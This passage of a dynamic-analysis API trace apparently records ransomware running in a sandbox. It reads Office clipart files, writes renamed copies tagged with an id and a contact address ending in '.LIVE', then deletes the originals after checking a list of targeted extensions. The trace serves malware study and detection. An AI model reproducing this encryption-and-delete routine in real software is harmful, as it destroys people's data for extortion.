(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0159.511] GetLastError () returned 0x0 [0159.511] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x40f8, lpOverlapped=0x0) returned 1 [0159.526] WriteFile (in: hFile=0x1b4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4100, lpOverlapped=0x0) returned 1 [0159.527] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.528] WriteFile (in: hFile=0x1b4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.528] SetEndOfFile (hFile=0x1b4) returned 1 [0159.528] CloseHandle (hObject=0x1b4) returned 1 [0159.528] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.528] SetEndOfFile (hFile=0x1fc) returned 1 [0159.530] CloseHandle (hObject=0x1fc) returned 1 [0159.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf")) returned 1 [0159.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0159.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0159.545] lstrlenW (lpString=".doc") returned 4 [0159.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.545] lstrlenW (lpString=".docx") returned 5 [0159.545] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0159.545] lstrlenW (lpString=".pdf") returned 4 [0159.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.545] lstrlenW (lpString=".xls") returned 4 [0159.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.545] lstrlenW (lpString=".xlsx") returned 5 [0159.545] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0159.545] lstrlenW (lpString=".ppt") returned 4 [0159.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0159.545] lstrlenW (lpString=".zip") returned 4 [0159.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.545] lstrlenW (lpString=".rar") returned 4 [0159.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.545] lstrlenW (lpString=".bz2") returned 4 [0159.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.545] lstrlenW (lpString=".7z") returned 3 [0159.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0159.545] lstrlenW (lpString=".dbf") returned 4 [0159.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0159.545] lstrlenW (lpString=".1cd") returned 4 [0159.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0159.545] lstrlenW (lpString=".jpg") returned 4 [0159.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0159.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0159.546] lstrlenW (lpString=".doc") returned 4 [0159.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.546] lstrlenW (lpString=".docx") returned 5 [0159.546] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0159.546] lstrlenW (lpString=".pdf") returned 4 [0159.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.546] lstrlenW (lpString=".xls") returned 4 [0159.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.546] lstrlenW (lpString=".xlsx") returned 5 [0159.546] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0159.546] lstrlenW (lpString=".ppt") returned 4 [0159.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0159.546] lstrlenW (lpString=".zip") returned 4 [0159.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.546] lstrlenW (lpString=".rar") returned 4 [0159.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.546] lstrlenW (lpString=".bz2") returned 4 [0159.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.546] lstrlenW (lpString=".7z") returned 3 [0159.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0159.546] lstrlenW (lpString=".dbf") returned 4 [0159.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0159.546] lstrlenW (lpString=".1cd") returned 4 [0159.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0159.546] lstrlenW (lpString=".jpg") returned 4 [0159.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.547] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.547] lstrlenW (lpString="J0152690.WMF") returned 12 [0159.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0159.548] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1268) returned 1 [0159.548] CloseHandle (hObject=0x1fc) returned 1 [0159.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf")) returned 0x20 [0159.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0159.548] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.548] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0159.549] GetLastError () returned 0x0 [0159.549] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x4f4, lpOverlapped=0x0) returned 1 [0159.610] WriteFile (in: hFile=0x1b4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x500, lpOverlapped=0x0) returned 1 [0159.611] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.611] WriteFile (in: hFile=0x1b4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.611] SetEndOfFile (hFile=0x1b4) returned 1 [0159.611] CloseHandle (hObject=0x1b4) returned 1 [0159.611] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.611] SetEndOfFile (hFile=0x1fc) returned 1 [0159.613] CloseHandle (hObject=0x1fc) returned 1 [0159.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf")) returned 1 [0159.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0159.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0159.615] lstrlenW (lpString=".doc") returned 4 [0159.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.615] lstrlenW (lpString=".docx") returned 5 [0159.615] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.615] lstrlenW (lpString=".pdf") returned 4 [0159.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.615] lstrlenW (lpString=".xls") returned 4 [0159.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.615] lstrlenW (lpString=".xlsx") returned 5 [0159.615] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.615] lstrlenW (lpString=".ppt") returned 4 [0159.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0159.615] lstrlenW (lpString=".zip") returned 4 [0159.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.615] lstrlenW (lpString=".rar") returned 4 [0159.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.615] lstrlenW (lpString=".bz2") returned 4 [0159.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.615] lstrlenW (lpString=".7z") returned 3 [0159.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0159.615] lstrlenW (lpString=".dbf") returned 4 [0159.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0159.616] lstrlenW (lpString=".1cd") returned 4 [0159.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0159.616] lstrlenW (lpString=".jpg") returned 4 [0159.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0159.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0159.616] lstrlenW (lpString=".doc") returned 4 [0159.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.616] lstrlenW (lpString=".docx") returned 5 [0159.616] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.616] lstrlenW (lpString=".pdf") returned 4 [0159.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.616] lstrlenW (lpString=".xls") returned 4 [0159.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.616] lstrlenW (lpString=".xlsx") returned 5 [0159.616] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.616] lstrlenW (lpString=".ppt") returned 4 [0159.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0159.616] lstrlenW (lpString=".zip") returned 4 [0159.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.616] lstrlenW (lpString=".rar") returned 4 [0159.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.616] lstrlenW (lpString=".bz2") returned 4 [0159.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.616] lstrlenW (lpString=".7z") returned 3 [0159.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0159.616] lstrlenW (lpString=".dbf") returned 4 [0159.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0159.616] lstrlenW (lpString=".1cd") returned 4 [0159.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0159.617] lstrlenW (lpString=".jpg") returned 4 [0159.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.617] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.617] lstrlenW (lpString="J0152698.WMF") returned 12 [0159.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.629] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1208) returned 1 [0159.629] CloseHandle (hObject=0x384) returned 1 [0159.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf")) returned 0x20 [0159.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.633] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.633] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0159.634] GetLastError () returned 0x0 [0159.634] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x4b8, lpOverlapped=0x0) returned 1 [0159.635] WriteFile (in: hFile=0x3c4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0159.636] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.636] WriteFile (in: hFile=0x3c4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.636] SetEndOfFile (hFile=0x3c4) returned 1 [0159.636] CloseHandle (hObject=0x3c4) returned 1 [0159.636] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.636] SetEndOfFile (hFile=0x384) returned 1 [0159.638] CloseHandle (hObject=0x384) returned 1 [0159.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf")) returned 1 [0159.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0159.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0159.640] lstrlenW (lpString=".doc") returned 4 [0159.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.640] lstrlenW (lpString=".docx") returned 5 [0159.640] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.640] lstrlenW (lpString=".pdf") returned 4 [0159.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.640] lstrlenW (lpString=".xls") returned 4 [0159.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.640] lstrlenW (lpString=".xlsx") returned 5 [0159.640] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.640] lstrlenW (lpString=".ppt") returned 4 [0159.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0159.640] lstrlenW (lpString=".zip") returned 4 [0159.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.640] lstrlenW (lpString=".rar") returned 4 [0159.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.640] lstrlenW (lpString=".bz2") returned 4 [0159.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.640] lstrlenW (lpString=".7z") returned 3 [0159.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0159.640] lstrlenW (lpString=".dbf") returned 4 [0159.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0159.640] lstrlenW (lpString=".1cd") returned 4 [0159.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0159.640] lstrlenW (lpString=".jpg") returned 4 [0159.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0159.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0159.640] lstrlenW (lpString=".doc") returned 4 [0159.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.640] lstrlenW (lpString=".docx") returned 5 [0159.641] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.641] lstrlenW (lpString=".pdf") returned 4 [0159.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.641] lstrlenW (lpString=".xls") returned 4 [0159.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.641] lstrlenW (lpString=".xlsx") returned 5 [0159.641] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.641] lstrlenW (lpString=".ppt") returned 4 [0159.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0159.641] lstrlenW (lpString=".zip") returned 4 [0159.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.641] lstrlenW (lpString=".rar") returned 4 [0159.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.641] lstrlenW (lpString=".bz2") returned 4 [0159.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.641] lstrlenW (lpString=".7z") returned 3 [0159.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0159.641] lstrlenW (lpString=".dbf") returned 4 [0159.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0159.641] lstrlenW (lpString=".1cd") returned 4 [0159.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0159.641] lstrlenW (lpString=".jpg") returned 4 [0159.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.641] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.641] lstrlenW (lpString="J0152702.WMF") returned 12 [0159.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.643] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1208) returned 1 [0159.643] CloseHandle (hObject=0x384) returned 1 [0159.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf")) returned 0x20 [0159.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.643] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.643] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0159.644] GetLastError () returned 0x0 [0159.644] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x4b8, lpOverlapped=0x0) returned 1 [0159.646] WriteFile (in: hFile=0x3c4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 